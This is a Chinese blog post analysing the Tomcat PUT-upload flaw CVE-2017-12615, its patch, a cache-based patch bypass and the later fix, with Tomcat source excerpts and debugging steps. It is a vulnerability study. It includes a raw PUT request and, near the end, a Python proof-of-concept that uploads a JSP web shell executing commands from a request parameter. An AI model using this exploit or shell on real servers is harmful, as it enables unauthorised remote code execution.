Tomcat RCE (CVE-2017-12615)

Tomcat RCE (CVE-2017-12615)

漏洞条件

  • Tomcat 7.0-7.79
  • readonly 初始化参数由默认值设置为 false
  • Window系统(%20::$DATA
  • Linux和Window都通用(\

原理分析

这个漏洞的原因很简单,总结了一下主要是三个原因造成的。

  1. 当readonly为false,能够使用PUT/DELETE的方式操作文件,PUT方法就是将请求的文件保存到服务器中。
  2. 在Tomcat遇到当后缀是jspjspx时会使用JspServlet处理,其他情况下使用DefaultServlet处理。
<!-- The mapping for the default servlet -->
<servlet-mapping>
    <servlet-name>default</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>

<!-- The mappings for the JSP servlet -->
<servlet-mapping>
    <servlet-name>jsp</servlet-name>
    <url-pattern>*.jsp</url-pattern>
    <url-pattern>*.jspx</url-pattern>
</servlet-mapping>
  1. 在Windows环境下文件的名字的最后不能有空格,导致像filename.jsp(后面存在空格)、filename.jsp::$DATA(ADS流)这样的名字保存的时候会去掉最后的空格和::$DATA这样的字符,从而将文件保存为jsp文件,进而绕过一些检测。
  2. java的WinNTFileSystem.normalize方法会把文件名最后的/去掉,从而将xxx.jsp/保存为xxx.jsp文件。

漏洞调试

首先在conf文件夹的web.xml文件中添加readonly参数并设置值为false:

<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>
image-20220407223010802

然后启动调试,发送PUT方法的HTTP请求

方法一

PUT /test.jsp%20 HTTP/1.1
Host: 192.168.1.9:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 24

<%out.print("test");%>

DefaultServlet::doPut()方法中打下断点进行调试

image-20220407223143361

由于readonly为false,因此能够进入判断后的代码执行。

image-20220407223757886

这一段代码是先获取文件的相对路径,然后到服务器中查找是否存在该文件,接下来就是获取文件的输入流作为资源,如果文件不存在的话就执行resource.bind()方法。

image-20220407224214004

进入ProxyDirContent.java:bind()

image-20220407224447639

执行了dirContext.bind(parseName(name), obj);,跟踪进入到parseName()方法中:

image-20220407224536498

并没有对name进行处理,直接返回,回到上面的bind方法,进入到dirContexn.bind()方法中:

image-20220407224725222

套娃调用另一个bind方法,继续跟进:

image-20220407225030130

进入到了FileDirContent.java中的bind()方法,先以test.jsp[空格]为名字创建一个File对象,然后判断该文件是否已经存在于目录中,然后就进入到rebind()方法,继续跟进:

@Override
public void rebind(String name, Object obj, Attributes attrs)
    throws NamingException {

    // Note: No custom attributes allowed
    // Check obj type

    File file = new File(base, name);

    InputStream is = null;
    if (obj instanceof Resource) {
        try {
            is = ((Resource) obj).streamContent();
        } catch (IOException e) {
            // Ignore
        }
    } else if (obj instanceof InputStream) {
        is = (InputStream) obj;
    } else if (obj instanceof DirContext) {
        if (file.exists()) {
            if (!file.delete())
                throw new NamingException
                    (sm.getString("resources.bindFailed", name));
        }
        if (!file.mkdir())
            throw new NamingException
                (sm.getString("resources.bindFailed", name));
    }
    if (is == null)
        throw new NamingException
            (sm.getString("resources.bindFailed", name));

    // Open os

    FileOutputStream os = null;
    byte buffer[] = new byte[BUFFER_SIZE];
    int len = -1;
    try {
        os = new FileOutputStream(file);
        while (true) {
            len = is.read(buffer);
            if (len == -1)
                break;
            os.write(buffer, 0, len);
        }
    } catch (IOException e) {
        NamingException ne = new NamingException
                (sm.getString("resources.bindFailed", e));
        ne.initCause(e);
        throw ne;
    } finally {
        if (os != null) {
            try {
                os.close();
            } catch (IOException e) {
            }
        }
        try {
            is.close();
        } catch (IOException e) {
        }
    }

}

这里就是获取输入流然后将内容输出到File对象中,也就是我们的test.jsp空格文件,然后这个文件保存到window中的时候会去掉空格导致保存为jsp文件,造成了RCE。

image-20220407225748307

方法二

同样地,使用ADS流的方式也是一样的

image-20220407225908093
image-20220407225916576

方法三

除了这两种方式之外,还存在一种方式使用类似于test.jsp/,并且这个方法不局限于window系统,同样适用于Linux。当创建一个这样的文件时候,同样是由DefaultServlet处理,

image-20220407234322288

但是问题出在File file = new File(base, name);的地方

image-20220407230138719

这里可以看到,输入的name为/test3.jsp/,但是生成的File对象名字最后的/消失了,跟进去看看发生了啥:

image-20220407230703166

关键是fs.normalize(child)这里,这里的child 就是我们传入的文件名字,继续跟进去:

image-20220407232333973

这里代码有点抽象,主要是一个一个字符去循环判断是否是/\这两个字符,然后我们名字 /test3.jsp/ 第一个字符就检测中了,进入到另外一个 normalize方法中:

/* Normalize the given pathname, whose length is len, starting at the given
   offset; everything before this offset is already normal. */
private String normalize(String path, int len, int off) {
    if (len == 0) return path;
    if (off < 3) off = 0;   /* Avoid fencepost cases with UNC pathnames */
    int src;
    char slash = this.slash;
    StringBuffer sb = new StringBuffer(len);

    if (off == 0) {
        /* Complete normalization, including prefix */
        src = normalizePrefix(path, len, sb);
    } else {
        /* Partial normalization */
        src = off;
        sb.append(path.substring(0, off));
    }

    /* Remove redundant slashes from the remainder of the path, forcing all
       slashes into the preferred slash */
    while (src < len) {
        char c = path.charAt(src++);
        if (isSlash(c)) {
            while ((src < len) && isSlash(path.charAt(src))) src++;
            if (src == len) {
                /* Check for trailing separator */
                int sn = sb.length();
                if ((sn == 2) && (sb.charAt(1) == ':')) {
                    /* "z:\\" */
                    sb.append(slash);
                    break;
                }
                if (sn == 0) {
                    /* "\\" */
                    sb.append(slash);
                    break;
                }
                if ((sn == 1) && (isSlash(sb.charAt(0)))) {
                    /* "\\\\" is not collapsed to "\\" because "\\\\" marks
                       the beginning of a UNC pathname.  Even though it is
                       not, by itself, a valid UNC pathname, we leave it as
                       is in order to be consistent with the win32 APIs,
                       which treat this case as an invalid UNC pathname
                       rather than as an alias for the root directory of
                       the current drive. */
                    sb.append(slash);
                    break;
                }
                /* Path does not denote a root directory, so do not append
                   trailing slash */
                break;
            } else {
                sb.append(slash);
            }
        } else {
            sb.append(c);
        }
    }

这一段实属太抽象了,完全没看懂,反正就是这里把最后的/给去掉了。

image-20220407234330290

修复

Tomcat在7.0.81把这个洞给修了,通过源码对比分析下:

img

可以发现,在Tomcat的7.0.81中引入了加入了新的代码,通过File file = file(name, false);返回一个File类,而不是原来的直接new File()

把环境换到 Tomcat 7.0.81 看一下这里干了啥,请求:

image-20220408110253394

直接跟踪到file(name, false)方法,此时传进去的name就是我们请求的/test.jsp%20

image-20220408110206801

跟进去file方法:

image-20220408110431976

发现除了之前版本中用到的new File()之外还多了个validate方法,跟进去看:

image-20220408110904351

进去后发现对file对象执行了getCanonicalPath方法,调用的是 java.io.File 内的方法,如果file的名称中存在空格,则会去掉空格;这里返回的规范路径就已经把最后的空格去掉了。接着往下看:

image-20220408111132719

在这里判断规范后的路径是否和原来的绝对路径一致,防止路径穿越把文件保存到别的地方,继续往下看:

image-20220408111752499

这里就是修复的关键:先来理清下现有的变量:

  • fileAbsPath:E:\xxxx\test.jsp空格
  • canPath:E:\xxxx\test.jsp

先对上面两个变量都做一次normalize方法,这里我们不深究这个方法干了啥,因为这里两个变量通过这个方法返回的内容不变,absPath变量的最后仍然带有空格。

然后就分别根它们据绝对路径的目录长度将最后的文件名截取出来,此时

  • absPath: test.jsp空格
  • canPath:test.jsp

然后判断它们是否相等,不相等的话就返回null,也就是file对象创建失败了。

image-20220408112614002

修复的绕过

原理

但!在高并发或者另外一种情况下,却又能创建 JSP 文件,也就是说 canPath.equals(absPath)true。通过深入分析,找出了其原因。

在Tomcat 7.0.81 的代码中,对于路径的规范化是调用的 file.getCanonicalPath()

image-20220408114641548

在之前我们并没有深究里面干嘛了,只是知道file经过这个方法规范化之后会把最后的空格给去除,现在跟进去:

image-20220408115329761

也就是调用 FS 的 canonicalize 方法,对于 Windows,调用的是 WinNTFileSystem.canonicalize。这个 Bypass 的锅也就出在 WinNTFileSystem.canonicalize 里,进入方法一路跟到断点那里开始:

image-20220408120246534

上述代码有一个非常非常神奇的地方:

  • canonicalizeWithPrefix(resDir, filename) 不会去掉路径尾部空格
  • canonicalize0(path) 会去掉路径尾部空格

为了满足进入存在 canonicalizeWithPrefix 的分支,需要通过两个判断:

  • String res = cache.get(path); 应为 null,此处 PUT 一个从未 PUT 过的文件名即可
  • resDir = prefixCache.get(dir); 应不为 null

可以发现,对于 prefixCache 进行添加元素的操作在下方存在 canonicalize0 的 if 分支:

image-20220408120551798

通过代码的判断条件可知,如果想在 prefixCache 存入数据,需要满足文件存在文件不是目录的条件。但是问题并没有完全解决。prefixCache存在时间的有效期。通过分析代码发现:

private ExpiringCache prefixCache = new ExpiringCache();

ExpiringCache() {
    this(30000);
}

@SuppressWarnings("serial")
ExpiringCache(long millisUntilExpiration) {
    this.millisUntilExpiration = millisUntilExpiration;
    map = new LinkedHashMap<String,Entry>() {
        protected boolean removeEldestEntry(Map.Entry<String,Entry> eldest) {
            return size() > MAX_ENTRIES;
        }
        };
}

private Entry entryFor(String key) {
    Entry entry = map.get(key);
    if (entry != null) {
        long delta = System.currentTimeMillis() - entry.timestamp();
        if (delta < 0 || delta >= millisUntilExpiration) {
            map.remove(key);
            entry = null;
        }
    }
    return entry;
}

这个表示在prefixCache中的数据的有效期为30000ms即3秒种,所以发送的请求需要在3秒内完成,否则就无法达到攻击的目的。

利用

首先,要向 prefixCache 中添加内容,那么需要满足 f.exists() && !f.isDirectory() 这个条件。仍然还是空格的锅:

>>> os.path.exists("C:/Windows/System32/cmd.exe")
True
>>> os.path.exists("C:/Windows/System32/cmd.exe ")
True

window下判断的文件名字及时后面多了个空格,也会判断文件存在。

因此,在无已知文件的情况下,我们只需要先 PUT 创建一个 test.txt,在 PUT 一个 test.txt%20,即可向 prefixCache 添加数据了。

首先,PUT 方法发送 test.txt

image-20220408130206208

因为文件不存在,所以成功地创建了文件。

image-20220408130153991

再用PUT 方法发送 test.txt%20

image-20220408130444733

因为window判断test.txt空格这个文件就是一开始发送的那个test.txt文件,因此这个文件存在存在,所以成功地向prefixCache写入了dir

image-20220408130402126

这时候resDir = prefixCache.get(dir) 就不为 null了,所以只需用PUT方法发送test.jsp%20

image-20220408132446239

就能进入canonicalizeWithPrefix(resDir, filename) 方法,前面说到这个方法不会去掉尾部的空格,因此规范化后返回的文件名不会去掉尾部的空格

image-20220408132434272

所以到validate方法最后那里判断两个规范前和规范后的文件名就是相同的,都带有空格,进而返回的file对象名字也带有空格,那么后面的流程就和之前一样了。从而绕过了这个修复。

image-20220408132610470
image-20220408132944269

但是别忘记了prefixCache这个变量只存在3秒,所以手要快!

POC

当然也可以写脚本啦:

import sys
import requests
import random
import hashlib


shell_content = '''
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
'''

if len(sys.argv) <= 1:
    print('Usage: python tomcat.py [url]')
    exit(1)

def main():
    filename = hashlib.md5(str(random.random()).encode()).hexdigest()[:6]

    put_url = '{}/{}.txt'.format(sys.argv[1], filename)
    shell_url = '{}/{}.jsp'.format(sys.argv[1], filename)

    requests.put(put_url, data='1')
    requests.put(put_url + '%20', data='1')
    requests.put(shell_url + '%20', data=shell_content)
    requests.delete(put_url)
    print('Shell URL: {}'.format(shell_url))

if __name__ == '__main__':
    main()

修复的绕过的修复

Tomcat 8.5.21 的代码逻辑给换了,导致上面的绕过失效了。

8.5.21中的以jspjspx还是由JSPServlet来处理,其他的由DefaultServlet处理。

我们还是从org.apache.catalina.servlets.DefaultServlet 的 doPut 开始,其中的关键代码变为resources.write(path, resourceInputStream, true),跟进去:

image-20220408183212749

走到StandardRoot的write方法,在调用另一个write方法:

image-20220408183700030

走到DirReasourceSet的write方法,在这里调用file方法:

image-20220408183902503

可以看到传进去的参数为我们请求的文件名字:

image-20220408184050218

走到了AbstractFileReasourceSet的file方法

protected final File file(String name, boolean mustExist) {

    if (name.equals("/")) {
        name = "";
    }
    File file = new File(fileBase, name);
    if (!mustExist || file.canRead()) {

        if (getRoot().getAllowLinking()) {
            return file;
        }

        // Check that this file is located under the WebResourceSet's base
        String canPath = null;
        try {
            canPath = file.getCanonicalPath();
        } catch (IOException e) {
            // Ignore
        }
        if (canPath == null)
            return null;

        if (!canPath.startsWith(canonicalBase)) {
            return null;
        }

        // Case sensitivity check
        // Note: We know the resource is located somewhere under base at
        //       point. The purpose of this code is to check in a case
        //       sensitive manner, the path to the resource under base
        //       agrees with what was requested
        String fileAbsPath = file.getAbsolutePath();
        if (fileAbsPath.endsWith("."))
            fileAbsPath = fileAbsPath + '/';
        String absPath = normalize(fileAbsPath);
        if ((absoluteBase.length() < absPath.length())
            && (canonicalBase.length() < canPath.length())) {
            absPath = absPath.substring(absoluteBase.length() + 1);
            if (absPath.equals(""))
                absPath = "/";
            canPath = canPath.substring(canonicalBase.length() + 1);
            if (canPath.equals(""))
                canPath = "/";
            if (!canPath.equals(absPath))
                return null;
        }

    } else {
        return null;
    }
    return file;
}

不难发现,这里的file方法和Tomcat 7.0.81中的file方法是一样的,都是用getCanonicalPath获取规范化路径,然后再和原来的路径进行比较,相同就返回该file对象,否则就返回null。因此漏洞还在,代码中修复的地方并不在这里。

回到DirReasourceSet的write方法,我们如法炮制绕过,没有意外的话是能正确返回file对象的名字为xxxx\test.jsp空格,走到下面的File.copy方法,里面有个toPath方法:

image-20220408194232365

问题就出在这里,可以看到toPath方法的输入路径尾部是带有空格的,但是这个方法执行后抛出一个无效的路径异常。

这里尝试下跟到这个toPath方法看看,看到调用WindowsFileSystem.getPath()

image-20220408194514354

在调用WindowsFileSystem.getPath()方法中调用WindowsPath.parse方法:

image-20220408194912981

WindowsPath.parse方法调用WindowsPathParser.parse():(阁这套娃呢?)

image-20220408195015977

WindowsPathParser.parse()方法中继续套parse方法:

image-20220408195140093

parse方法中对路径中的\做了一些处理,这里也没怎么看懂,应该是路径转换之类的,然后走到有个normalize方法:

image-20220408195654718

normalize方法如下:

private static String normalize(StringBuilder var0, String var1, int var2) {
    int var3 = var1.length();
    var2 = nextNonSlash(var1, var2, var3);
    int var4 = var2;
    char var5 = 0;

    while(var2 < var3) {
        char var6 = var1.charAt(var2);
        if (isSlash(var6)) {
            if (var5 == ' ') {
                throw new InvalidPathException(var1, "Trailing char <" + var5 + ">", var2 - 1);
            }

            var0.append(var1, var4, var2);
            var2 = nextNonSlash(var1, var2, var3);
            if (var2 != var3) {
                var0.append('\\');
            }

            var4 = var2;
        } else {
            if (isInvalidPathChar(var6)) {
                throw new InvalidPathException(var1, "Illegal char <" + var6 + ">", var2);
            }

            var5 = var6;
            ++var2;
        }
    }

    if (var4 != var2) {
        if (var5 == ' ') {
            throw new InvalidPathException(var1, "Trailing char <" + var5 + ">", var2 - 1);
        }

        var0.append(var1, var4, var2);
    }

    return var0.toString();
}

这里通过循环判断每一个字符是否合乎规范,这里我们直接循环到最后一个字符,也就是空格那里:

image-20220408200930617

首先获取当前索引的字符,此时是空格,然后判断该字符是否是斜杠\,这里不是,到另一头代码块:

image-20220408202200122

这里调用isInvalidPathChar方法,我们看名字就知道是哦判断是否是不合法的路径字符:

private static final boolean isInvalidPathChar(char var0) {
    return var0 < ' ' || "<>:\"|?*".indexOf(var0) != -1;
}

这里我们发现空格其实并不在黑名单里面,这个方法返回的是false,并不会抛出异常。所以接着往下看:

image-20220408202755293

这里的判断逻辑是:var4为路径中最后一次斜杠字符的索引,这里为65;var2是路径中最后一个字符的索引,也就是路径的长度,这里为74;也就是说他这里判断为路径中最后一个字符是否是斜杠\,这里并不是,所及到第二个判断。第二个判断中的var5就是路径中最后一个字符,也就是空格,所以判断为true,抛出异常!

参考资料

Tomcat CVE漏洞CVE-2017-12615和12616分析

Tomcat 12615补丁绕过分析

Abuse Cache of WinNTFileSystem : Yet Another Bypass of Tomcat CVE-2017-12615

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇